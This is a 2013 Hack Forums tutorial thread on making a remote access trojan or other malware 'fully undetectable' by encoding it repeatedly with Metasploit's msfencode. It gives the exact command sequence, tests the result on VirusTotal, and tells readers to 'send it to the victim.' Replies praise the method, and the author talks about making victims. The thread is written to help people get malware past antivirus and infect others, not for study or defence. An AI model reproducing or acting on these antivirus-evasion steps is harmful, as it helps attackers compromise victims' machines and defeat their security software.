+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Make fud RAT with BACKTRACK (tutorial) SerbianKuco (/showthread.php?tid=3503238)
Make fud RAT with BACKTRACK (tutorial) SerbianKuco - skripte - May 25, 2013
Requirements:-
1. Backtrack Operating System
2. MSF encoders
So, our first step is to create a virus file with any of the tools like RAT, stealers, botnets,
payload or anything.
To make it FUD (Fully Undetectable), we use backtrack operating system.
Before going to FUD check your file with ant viruses at virustotal.com and we get
detection ratio 36/44.
[img]http://www.dodaj.rs/f/2k/or/2kiKfBoo/images-3.jpg[/img]
Now start terminal in Backtrack OS and go to the directory where you pasted your file.
E.g. cd Desktop
So our first step is to change the permissions of that file (775) by typing this command,
root@bt:~/Desktop# chmod 775 server.exe
Further type this command to encode your virus,
root@bt:~/Desktop# msfencode -i /root/Desktop/Server.exe -t raw -o
/root/Desktop/server2.exe -e x86/shikata_ga_nai -c 10
[img]http://www.dodaj.rs/f/1g/nE/3ljtqi34/images-3.jpg[/img]
You’ll notice Antivirus still detected it even though we encoded it 10 times with
“x86/shikata_ga_nai” encoder.
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server2.exe
Now 2nd time, we use another encoder named as “jmp_call_additive”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server2.exe -t raw -o
/root/Desktop/Server3.exe -e x86/jmp_call_additive -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server3.exe
Now again we use another encoder named as “call4_dword_xor”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server3.exe -t raw -o
/root/Desktop/Server4.exe -e x86/call4_dword_xor -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server4.exe
Now final we encode again with this encoder “shikata_ga_nai”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server4.exe -o
/root/Desktop/final.exe -e x86/shikata_ga_nai -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 final.exe
Now here’s your final virus named as “final.exe” and upload it in virustotal.com and
you’ll see the results.
[img]http://www.dodaj.rs/f/3O/11q/2AxQirBn/images-3.jpg[/img]
And as you'll notice, you have just bypassed anti-virus. Now all you have to do is send it
to the victim and keep enjoying.
* - Rtap - May 25, 2013
Why would you upload something you made FUD to virustotal?
* - MrPip - May 25, 2013
In before online crypters. Good tutorial though.
* - skripte - May 25, 2013
(May 25, 2013 07:58 AM)Rtap Wrote: Why would you upload something you made FUD to virustotal?this will never be patched :) i use it for test,when i go to make victims i m not upload there
* - Malu2 - May 25, 2013
Nice Tutorial man,
nice to share.
Thank You
* - Playerx1 - May 25, 2013
Hey man, can you please upload a video?
Thanks.
* - skripte - May 25, 2013
(May 25, 2013 10:45 AM)Playerx1 Wrote: Hey man, can you please upload a video?sorry man i dont have time
Thanks.
to shortt
* - FroStorm - May 25, 2013
Would this work with a .jar virus? For jRat.
* - Pendragon - May 25, 2013
(May 25, 2013 10:54 AM)๖ۣۜFroFro Wrote: Would this work with a .jar virus? For jRat.
No. This works with binaries only.
\x6b\x63\x75\x46
* - Nicolems - May 25, 2013
Awesome tutorial it worked for me thanks :D
* - Auxil - May 25, 2013
I've seen this a few times before.
Nice share though. Keep it up.
* - n1v4 - May 25, 2013
Copy pasted do ur own work don't use anothers method.. shame on u..
* - skripte - May 25, 2013
(May 25, 2013 11:58 AM)n1v4 Wrote: Copy pasted do ur own work don't use anothers method.. shame on u..
do not be so boring,use this tutorial and shut up
* - lilsam - May 25, 2013
oh yeah!!! thanks a lot mate. im gonna try it soon
* - Xyzo - May 25, 2013
Very good tutorial, I'll be using this method :D